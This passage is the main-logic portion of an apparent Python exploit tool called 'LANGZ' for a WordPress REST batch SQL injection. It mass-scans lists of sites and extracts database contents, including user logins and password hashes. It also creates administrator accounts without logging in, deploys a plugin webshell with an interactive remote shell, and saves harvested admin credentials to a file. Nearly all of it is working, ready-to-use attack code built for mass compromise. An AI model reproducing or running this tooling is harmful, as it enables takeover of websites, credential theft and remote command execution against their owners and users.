    return _paint(_GREEN_BOLD, art)


def info(msg: str) -> None:
    print(_paint(_GREEN_DIM, f"[*] {msg}"))


def good(msg: str) -> None:
    print(_paint(_GREEN, f"[+] {msg}"))


def bad(msg: str) -> None:
    print(_paint(_RED, f"[-] {msg}"))


def warn(msg: str) -> None:
    print(_paint(_YELLOW, f"[!] {msg}"))


def _line(char: str = "═", n: int = 62) -> str:
    return _paint(_GREEN, char * n)


def _as_target(line: str) -> Optional[str]:
    line = line.strip().lstrip("\ufeff")
    if not line or line.startswith("#"):
        return None
    if re.match(r"https?://\S+$", line, re.IGNORECASE):
        return line
    if re.match(
        r"^(?:(?:[A-Za-z0-9_-]+\.)+[A-Za-z]{2,}|(?:\d{1,3}\.){3}\d{1,3})(?::\d{1,5})?(?:/\S*)?$",
        line,
    ):
        return "https://" + line
    return None


def _resolve_targets(value: str) -> List[str]:
    if not os.path.isfile(value):
        target = _as_target(value)
        if target:
            return [target]
        raise ValueError(f"{value!r} is not a URL, a host, or a file of targets")
    targets: List[str] = []
    seen = set()
    with open(value, encoding="utf-8", errors="replace") as handle:
        for line in handle:
            target = _as_target(line)
            if target and target not in seen:
                seen.add(target)
                targets.append(target)
    if not targets:
        raise ValueError(f"{value}: no scannable URLs or hosts found in file")
    return targets


def _batch_status_reason(status: int) -> str:
    if status == 401:
        return "behind authentication"
    if status == 403:
        return "forbidden (WAF, edge rule, or REST restriction)"
    if status == 404:
        return "not found"
    return "unavailable"


def _check_one(url: str, args: argparse.Namespace) -> int:
    timeout = max(args.timeout, args.sleep + 10) if args.confirm_sqli else args.timeout
    client = BatchClient(url, timeout=timeout, proxy=args.proxy)
    try:
        homepage = client.get("/")
    except TargetError as exc:
        bad(str(exc))
        return 1

    _print_wordpress_markers(client, homepage)
    _print_version_hints(client, homepage)

    probe = client.marker_probe()
    if probe.status != 207:
        reason = _batch_status_reason(probe.status)
        if probe.status == 401 or probe.status == 403 or probe.status == 404:
            bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — {reason}")
        else:
            bad(
                f"Batch endpoint returned HTTP {probe.status} (not 207), and no WordPress markers or "
                f"version hints; batch endpoint is {reason} — likely not WordPress."
            )
        return 1

    markers = client.batch_marker_codes(probe)
    if markers:
        info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
    else:
        good("Batch endpoint reachable and unauthenticated (HTTP 207).")

    route_confusion = client.has_route_confusion_markers(probe)
    if route_confusion:
        good("VULNERABLE — batch route-confusion behavior detected.")
        if not args.confirm_sqli:
            info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.")
            return 0
    elif not args.confirm_sqli:
        bad("Route-confusion marker pattern not detected.")
        return 2

    union = UnionSQLi(client)
    if union.available():
        good("SQLi confirmed — UNION fake-post read returned data.")
        return 0

    info("UNION SQLi confirmation unavailable; falling back to timing confirmation.")
    result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
    if args.samples > 1:
        details = ", ".join(f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples)
        info(f"Timing samples: {details}")
        info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
    if result.confirmed:
        good(
            f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s."
        )
        return 0

    if route_confusion:
        warn(
            f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
            f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
        )
        warn(
            "A WAF or edge rule may be filtering the SQLi payload; the route-confusion bug still looks present."
        )
        return 0

    bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
    warn("This may be a patched target, or a WAF/edge rule filtering the SQLi payload.")
    return 2


def _check_and_create_one(url: str, args: argparse.Namespace, quiet: bool = False) -> Dict[str, Any]:
    timeout = max(args.timeout, args.sleep + 10) if args.confirm_sqli else args.timeout
    client = BatchClient(url, timeout=timeout, proxy=args.proxy)

    if not quiet:
        try:
            homepage = client.get("/")
        except TargetError as exc:
            return {"url": url, "status": "error", "message": str(exc)}
        _print_wordpress_markers(client, homepage)
        _print_version_hints(client, homepage)

        probe = client.marker_probe()
        if probe.status != 207:
            reason = _batch_status_reason(probe.status)
            return {"url": url, "status": "dead", "message": f"HTTP {probe.status} - {reason}"}
    else:
        try:
            homepage = client.get("/")
        except TargetError as exc:
            return {"url": url, "status": "error", "message": str(exc)}
        probe = client.marker_probe()
        if probe.status != 207:
            reason = _batch_status_reason(probe.status)
            return {"url": url, "status": "dead", "message": f"HTTP {probe.status} - {reason}"}

    route_confusion = client.has_route_confusion_markers(probe)

    sqli_confirmed = False
    if args.confirm_sqli and route_confusion:
        union = UnionSQLi(client)
        if union.available():
            sqli_confirmed = True
        else:
            result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
            if result.confirmed:
                sqli_confirmed = True
            elif route_confusion:
                sqli_confirmed = True

    is_vulnerable = route_confusion or sqli_confirmed

    if not is_vulnerable:
        return {"url": url, "status": "not_vulnerable"}

    try:
        creator = PreAuthAdminCreator(url, timeout=args.timeout, proxy=args.proxy)
        admin = creator.create_admin()
        return {
            "url": url,
            "status": "admin_created",
            "login_url": f"{url.rstrip('/')}/wp-login.php",
            "username": admin.username,
            "password": admin.password,
        }
    except Exception as exc:
        return {"url": url, "status": "vulnerable_no_admin", "message": str(exc)}


def _print_wordpress_markers(client: BatchClient, homepage=None) -> tuple:
    markers = wordpress_markers(client, homepage)
    if markers:
        info(f"WordPress markers found ({' / '.join(markers)})")
    else:
        warn("No public WordPress markers found.")
    return markers


def _print_version_hints(client: BatchClient, homepage=None) -> tuple:
    hints = public_version_hints(client, homepage)
    if not hints:
        warn("No public WordPress version hints found.")
        return hints

    info("Public WordPress version hints:")
    for hint in hints:
        line = (
            f"    - {hint.version} via {hint.source} "
            f"({version_status(hint.version)}) - {_short(hint.detail)}"
        )
        print(_paint("33", line) if hint.affected else _paint(_GREEN, line))
    if any(hint.affected for hint in hints):
        warn(
            "A public version hint falls in the affected range; verify internally or confirm with authorization."
        )
    return hints


def _short(text: str, *, limit: int = 96) -> str:
    if len(text) <= limit:
        return text
    return text[: limit - 3] + "..."


def cmd_check(args: argparse.Namespace) -> int:
    try:
        targets = _resolve_targets(args.url)
    except ValueError as exc:
        bad(str(exc))
        return 2

    if len(targets) == 1:
        return _check_one(targets[0], args)

    info(f"Scanning {len(targets)} targets from {args.url}")
    vulnerable = 0
    for index, url in enumerate(targets, start=1):
        print()
        info(f"[{index}/{len(targets)}] {url}")
        try:
            rc = _check_one(url, args)
        except TargetError as exc:
            bad(str(exc))
            rc = 1
        if rc == 0:
            vulnerable += 1
    print()
    (good if vulnerable else info)(f"Scan complete: {vulnerable}/{len(targets)} vulnerable.")
    return 0 if vulnerable else 2


def cmd_check_and_create(args: argparse.Namespace) -> int:
    try:
        targets = _resolve_targets(args.url)
    except ValueError as exc:
        bad(str(exc))
        return 2

    if len(targets) == 1:
        result = _check_and_create_one(targets[0], args, quiet=False)
        if result["status"] == "admin_created":
            good(
                f"Admin created: {result['login_url']} | {result['username']}:{result['password']}"
            )
            _write_result(result)
            return 0
        elif result["status"] == "vulnerable_no_admin":
            warn(f"Vulnerable but admin creation failed: {result['url']}")
            return 0
        else:
            bad(f"Not vulnerable: {result['url']}")
            return 2

    total = len(targets)
    threads = getattr(args, "threads", 50)

    writer_queue = queue.Queue()
    writer_thread = threading.Thread(target=_writer_loop, args=(writer_queue,), daemon=True)
    writer_thread.start()

    stats = {
        "scanned": 0,
        "admin": 0,
        "vuln": 0,
        "dead": 0,
        "error": 0,
        "start_time": time.time(),
    }

    os.makedirs(_RESULTS_DIR, exist_ok=True)

    info(f"Mass scan: {total} targets, {threads} threads")
    print()

    try:
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(_check_and_create_one, url, args, True): url for url in targets}

            for future in as_completed(futures):
                try:
                    result = future.result()
                except Exception:
                    stats["error"] += 1
                    stats["scanned"] += 1
                    _update_progress(stats, total)
                    continue

                stats["scanned"] += 1
                url = result.get("url", "unknown")
                status = result.get("status", "unknown")

                if status == "admin_created":
                    stats["admin"] += 1
                    stats["vuln"] += 1
                    print()
                    good("ADMIN CREATED")
                    info(f"Target : {url}")
                    info(f"Login  : {result['login_url']}")
                    info(f"User   : {result['username']}")
                    info(f"Pass   : {result['password']}")
                    info(f"Saved  -> {_RESULTS_FILE}")
                    print()
                    writer_queue.put(
                        {
                            "login_url": result["login_url"],
                            "username": result["username"],
                            "password": result["password"],
                        }
                    )
                elif status == "vulnerable_no_admin":
                    stats["vuln"] += 1
                elif status == "dead":
                    stats["dead"] += 1
                elif status == "error":
                    stats["error"] += 1

                _update_progress(stats, total)

    except KeyboardInterrupt:
        print()
        warn("Interrupted by user. Shutting down gracefully...")
        for f in futures:
            f.cancel()
    finally:
        writer_queue.put(None)
        writer_thread.join(timeout=5)

    elapsed = time.time() - stats["start_time"]
    _print_summary(stats, total, elapsed)

    return 0 if stats["admin"] > 0 else 2


def _update_progress(stats: Dict[str, Any], total: int) -> None:
    if not _TTY:
        return
    scanned = stats["scanned"]
    admin = stats["admin"]
    vuln = stats["vuln"]
    dead = stats["dead"]
    error = stats["error"]

    elapsed = time.time() - stats["start_time"]
    speed = scanned / elapsed if elapsed > 0 else 0
    speed_min = speed * 60

    bar = (
        f"\r[{scanned:04d}/{total}] "
        f"Admin:{admin} Vuln:{vuln} Dead:{dead} Error:{error} "
        f"Speed:{speed_min:.0f}/min"
    )
    sys.stdout.write(bar)
    sys.stdout.flush()


def _writer_loop(q: queue.Queue) -> None:
    while True:
        item = q.get()
        if item is None:
            q.task_done()
            break
        try:
            with open(_RESULTS_FILE, "a", encoding="utf-8") as f:
                f.write(f"{item['login_url']} | {item['username']} | {item['password']}\n")
        except Exception:
            pass
        q.task_done()


def _write_result(result: Dict[str, Any]) -> None:
    if result.get("status") != "admin_created":
        return
    os.makedirs(_RESULTS_DIR, exist_ok=True)
    with open(_RESULTS_FILE, "a", encoding="utf-8") as f:
        f.write(f"{result['login_url']} | {result['username']} | {result['password']}\n")


def _print_summary(stats: Dict[str, Any], total: int, elapsed: float) -> None:
    print()
    print("=" * 50)
    print("  Finished")
    print("=" * 50)
    print(f"  Total      : {total}")
    print(f"  Scanned    : {stats['scanned']}")
    print()
    print(f"  Admin      : {stats['admin']}")
    print(f"  Vuln       : {stats['vuln']}")
    print(f"  Dead       : {stats['dead']}")
    print(f"  Error      : {stats['error']}")
    print()
    hours, rem = divmod(elapsed, 3600)
    minutes, seconds = divmod(rem, 60)
    print(f"  Elapsed    : {int(hours):02d}:{int(minutes):02d}:{int(seconds):02d}")
    print()
    print(f"  Saved :")
    print(f"  {_RESULTS_FILE}")
    print("=" * 50)


def cmd_read(args: argparse.Namespace) -> int:
    client = _client(args)
    sqli = _reader(args, client)
    if sqli is None:
        return 2

    if args.query:
        info(f"Reading: {args.query}")
        value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
        _clear_progress()
        good(f"Result: {value}")
    elif args.preset == "fingerprint":
        for label, expr in (
            ("MySQL version", "SELECT @@version"),
            ("Database user", "SELECT CURRENT_USER()"),
            ("Database name", "SELECT DATABASE()"),
        ):
            good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
    elif args.preset == "users":
        table = f"{args.prefix}users"
        total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
        info(f"{total} user(s) in {table}.")
        for offset in range(total):
            row = sqli.extract(
                f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
                f"FROM {table} ORDER BY ID LIMIT {offset},1",
                max_length=args.max_length,
                on_char=_progress,
            )
            _clear_progress()
            good(row)

    info(f"{sqli.requests} request(s) sent.")
    return 0


def _client(args: argparse.Namespace) -> BatchClient:
    return BatchClient(args.url, timeout=args.timeout, proxy=args.proxy)


def _reader(args: argparse.Namespace, client: BatchClient):
    if args.technique in ("auto", "union"):
        union = UnionSQLi(client)
        if union.available():
            good("UNION extraction available (in-band, one request per value) — using it.")
            return union
        if args.technique == "union":
            bad("UNION extraction requested but the forged post was not reflected.")
            return None
        info("UNION extraction unavailable; trying error-based.")
    if args.technique in ("auto", "error"):
        error_based = ErrorBasedSQLi(client)
        if error_based.available():
            good("Error-based extraction available (target reflects DB errors) — using it.")
            return error_based
        if args.technique == "error":
            bad("Error-based extraction requested but the target does not reflect DB errors.")
            return None
        info("Target does not reflect DB errors; falling back to blind extraction.")
    return BlindSQLi(client)


def _progress(text: str) -> None:
    if _TTY:
        sys.stdout.write("\r\033[K    " + text)
        sys.stdout.flush()


def _clear_progress() -> None:
    if _TTY:
        sys.stdout.write("\r\033[K")
        sys.stdout.flush()


def cmd_shell(args: argparse.Namespace) -> int:
    if not args.cmd and not args.interactive:
        bad("specify --cmd or --interactive")
        return 2
    if bool(args.user) != bool(args.password):
        bad("specify both --user and --password, or omit both to use the pre-auth bridge")
        return 2

    warn("This uploads a plugin containing a webshell to the target.")

    generated_admin = None
    username, password = args.user, args.password
    if username is None:
        warn("No credentials supplied; attempting pre-auth administrator creation.")
        creator = PreAuthAdminCreator(args.url, timeout=args.timeout, proxy=args.proxy)
        info("Creating administrator through the SQLi-to-customizer bridge...")
        generated_admin = creator.create_admin()
        username, password = generated_admin.username, generated_admin.password
        good(f"Administrator created: {username}")

    session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)

    info(f"Authenticating as {username!r}...")
    if not session.login(username, password):
        bad("Login failed.")
        if generated_admin:
            warn("The pre-auth bridge appeared to run, but the generated credentials did not log in.")
        return 1
    good("Authenticated.")

    info("Deploying webshell plugin...")
    path = session.deploy_webshell()
    good(f"Webshell: {args.url.rstrip('/')}{path}")

    rc = 0
    try:
        if args.cmd:
            output = session.run(path, args.cmd)
            if output is None:
                bad(
                    "No output — the upload likely failed (nonce/permissions) or the plugin is not web-served."
                )
                rc = 1
            else:
                print()
                print(output.rstrip("\n"))
                print()

        if args.interactive:
            _repl(session, path)
    finally:
        if generated_admin:
            info("Deleting generated administrator...")
            try:
                removed_admin = session.delete_user_with_shell(
                    path,
                    generated_admin.username,
                    reassign_to=generated_admin.source_admin_id,
                )
            except Exception:
                removed_admin = False
            if removed_admin:
                good("Generated administrator removed from the target.")
            else:
                bad(
                    f"Generated administrator cleanup failed: {generated_admin.username}:{generated_admin.password}"
                )
                rc = 1

        info("Cleaning up webshell...")
        try:
            removed = session.cleanup(path)
        except Exception as exc:
            bad(f"Webshell cleanup failed ({exc}).")
            rc = 1
        else:
            if removed:
                good("Webshell removed from the target.")
            else:
                bad("Webshell cleanup failed.")
                rc = 1
    return rc


_CWD_MARK = "__langzcwd__"


def _repl(session: AdminSession, path: str) -> None:
    pwd = session.run(path, "pwd")
    if pwd is None:
        bad("webshell not responding; aborting interactive mode.")
        return
    cwd = pwd.strip() or "/"
    info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.")
    while True:
        try:
            line = input(_paint(_GREEN_BOLD, f"{cwd} $ "))
        except (EOFError, KeyboardInterrupt):
            print()
            return
        command = line.strip()
        if not command:
            continue
        if command in ("exit", "quit"):
            return
        out = session.run(
            path,
            f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\"",
        )
        if out is None:
            bad("no response from webshell")
            continue
        body, marker, tail = out.rpartition(_CWD_MARK)
        if marker:
            cwd = tail.strip() or cwd
            out = body
        out = out.rstrip("\n")
        if out:
            print(out)


def _show_menu() -> None:
    print()
    print(_line())
    print(_logo())
    print(_paint(_GREEN, "        ▓▒░  L A N G Z   T O O L S  ░▒▓"))
    print(_paint(_GREEN_DIM, "             Author : LANGZ"))
    print(_paint(_GREEN_DIM, "             CVE    : (CVE-2026-63030)"))
    print(_line("─"))
    print(_paint(_GREEN, "  [1] ") + _paint(_CYAN, "Single Target  - Check"))
    print(_paint(_GREEN, "  [2] ") + _paint(_CYAN, "Mass Target    - Check"))
    print(_paint(_GREEN, "  [3] ") + _paint(_CYAN, "Single Target  - Auto Admin"))
    print(_paint(_GREEN, "  [4] ") + _paint(_CYAN, "Mass Target    - Auto Admin"))
    print(_paint(_RED, "  [5] ") + _paint(_CYAN, "Exit"))
    print(_line("─"))
    print(_paint(_GREEN_DIM, f"  Results -> {_RESULTS_FILE}"))
    print(_line())
    print()


def _get_choice() -> int:
    prompt = _paint(_GREEN_BOLD, "LANGZ")
    while True:
        try:
            choice = input(f"{prompt} > ").strip()
            if choice in ("1", "2", "3", "4", "5"):
                return int(choice)
            bad("Pilihan tidak valid. Masukkan 1, 2, 3, 4, atau 5.")
        except KeyboardInterrupt:
            print()
            return 5


def _get_target_input() -> str:
    prompt = _paint(_GREEN_BOLD, "LANGZ")
    while True:
        try:
            target = input(f"{prompt} target > ").strip()
            if target:
                return target
            bad("URL tidak boleh kosong.")
        except KeyboardInterrupt:
            print()
            return ""


def _get_file_input() -> str:
    prompt = _paint(_GREEN_BOLD, "LANGZ")
    while True:
        try:
            filepath = input(f"{prompt} file   > ").strip()
            if filepath:
                if os.path.isfile(filepath):
                    return filepath
                bad(f"File '{filepath}' tidak ditemukan.")
            else:
                bad("Nama file tidak boleh kosong.")
        except KeyboardInterrupt:
            print()
            return ""


def _build_default_args() -> argparse.Namespace:
    class Args:
        pass

    args = Args()
    args.timeout = 15.0
    args.proxy = None
    args.sleep = 3.0
    args.samples = 3
    args.confirm_sqli = True
    args.preset = "fingerprint"
    args.query = None
    args.prefix = "wp_"
    args.max_length = 128
    args.technique = "auto"
    args.user = None
    args.password = None
    args.cmd = None
    args.interactive = False
    args.target = None
    args.url = None
    args.shell = False
    args.read = False
    args.check = False
    args.threads = 50
    return args


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog="langz",
        description="LANGZ — WordPress REST batch route-confusion SQLi PoC (CVE-2026-63030)",
        epilog="Author: LANGZ\n"
        "Examples:\n"
        "  langz http://target\n"
        "  langz http://target --confirm-sqli\n"
        "  langz http://target --read --preset users\n"
        "  langz http://target --shell --cmd id\n"
        "  langz targets.txt\n",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("--version", action="version", version=f"langz {__version__}")
    parser.add_argument("target", help="target URL or file containing URLs (one per line)")
    parser.add_argument("--timeout", type=float, default=15.0, help="request timeout (default: 15)")
    parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    parser.add_argument("--threads", type=int, default=50, help="number of parallel threads (default: 50)")

    operation = parser.add_mutually_exclusive_group()
    operation.add_argument(
        "--check",
        action="store_true",
        default=False,
        help="confirm the vulnerability (default if no operation specified)",
    )
    operation.add_argument(
        "--read", action="store_true", default=False, help="read from the database via SQL injection"
    )
    operation.add_argument(
        "--shell",
        action="store_true",
        default=False,
        help="deploy plugin shell for command execution",
    )

    parser.add_argument("--sleep", type=float, default=3.0, help="SQL timing delay for --confirm-sqli (default: 3)")
    parser.add_argument("--samples", type=int, default=3, help="timing pairs for --confirm-sqli (default: 3)")
    parser.add_argument(
        "--confirm-sqli", action="store_true", help="send active SQLi confirmation payload (with --check)"
    )
    parser.add_argument(
        "--preset",
        choices=("fingerprint", "users"),
        default="fingerprint",
        help="fingerprint (version/user/db) or users (logins and password hashes)",
    )
    parser.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
    parser.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
    parser.add_argument("--max-length", type=int, default=128, help="max characters per value")
    parser.add_argument(
        "--technique",
        choices=("auto", "union", "blind", "error"),
        default="auto",
        help="extraction technique: auto, union, error, or blind",
    )
    parser.add_argument("--user", help="admin username (omit with --password to use pre-auth bridge)")
    parser.add_argument("--password", help="admin password (omit with --user to use pre-auth bridge)")
    parser.add_argument("--cmd", help="command to run on the target (omit when using -i)")
    parser.add_argument(
        "-i", "--interactive", action="store_true", help="open interactive shell after deploying"
    )
    return parser


def main(argv: Optional[list] = None) -> int:
    if argv is not None and len(argv) > 0:
        args = build_parser().parse_args(argv)

        if args.shell:
            func = cmd_shell
        elif args.read:
            func = cmd_read
        else:
            func = cmd_check

        class Args:
            pass

        args_dict = vars(args)
        new_args = Args()
        for key, value in args_dict.items():
            setattr(new_args, key, value)
        new_args.url = args.target

        try:
            return func(new_args)
        except KeyboardInterrupt:
            return 130
        except Exception as exc:
            bad(str(exc))
            return 1

    while True:
        _show_menu()
        choice = _get_choice()

        if choice == 5:
            print()
            good("Keluar... sampai jumpa, Bos LANGZ.")
            return 0

        if choice == 1:
            url = _get_target_input()
            if not url:
                continue

            args = _build_default_args()
            args.target = url
            args.url = url
            args.confirm_sqli = False

            print()
            info(f"Mode: Single Target (Check) -> {url}")
            print()
            try:
                rc = cmd_check(args)
                if rc == 0:
                    good("Selesai.")
                else:
                    bad(f"Selesai dengan kode {rc}")
            except KeyboardInterrupt:
                print()
                bad("Dibatalkan oleh user.")
            except Exception as exc:
                bad(str(exc))

            input("\nTekan Enter untuk kembali ke menu...")

        elif choice == 2:
            filepath = _get_file_input()
            if not filepath:
                continue

            args = _build_default_args()
            args.target = filepath
            args.url = filepath
            args.confirm_sqli = False

            print()
            info(f"Mode: Mass Target (Check) -> {filepath}")
            print()
            try:
                rc = cmd_check(args)
                if rc == 0:
                    good("Selesai.")
                else:
                    bad(f"Selesai dengan kode {rc}")
            except KeyboardInterrupt:
                print()
                bad("Dibatalkan oleh user.")
            except Exception as exc:
                bad(str(exc))

            input("\nTekan Enter untuk kembali ke menu...")

        elif choice == 3:
            url = _get_target_input()
            if not url:
                continue

            args = _build_default_args()
            args.target = url
            args.url = url
            args.confirm_sqli = True

            print()
            info(f"Mode: Single Target + Auto Admin -> {url}")
            print()
            try:
                result = _check_and_create_one(url, args, quiet=False)
                if result["status"] == "admin_created":
                    good(
                        f"Admin created: {result['login_url']} | {result['username']}:{result['password']}"
                    )
                    _write_result(result)
                elif result["status"] == "vulnerable_no_admin":
                    warn(f"Vulnerable but admin creation failed: {result['url']}")
                else:
                    bad(f"Not vulnerable: {result['url']}")
            except KeyboardInterrupt:
                print()
                bad("Dibatalkan oleh user.")
            except Exception as exc:
                bad(str(exc))

            input("\nTekan Enter untuk kembali ke menu...")

        elif choice == 4:
            filepath = _get_file_input()
            if not filepath:
                continue

            args = _build_default_args()
            args.target = filepath
            args.url = filepath
            args.confirm_sqli = True

            print()
            info(f"Mode: Mass Target + Auto Admin -> {filepath}")
            print()
            try:
                rc = cmd_check_and_create(args)
                if rc == 0:
                    good("Selesai.")
                else:
                    bad(f"Selesai dengan kode {rc}")
            except KeyboardInterrupt:
                print()
                bad("Dibatalkan oleh user.")
            except Exception as exc:
                bad(str(exc))

            input("\nTekan Enter untuk kembali ke menu...")


if __name__ == "__main__":
    sys.exit(main())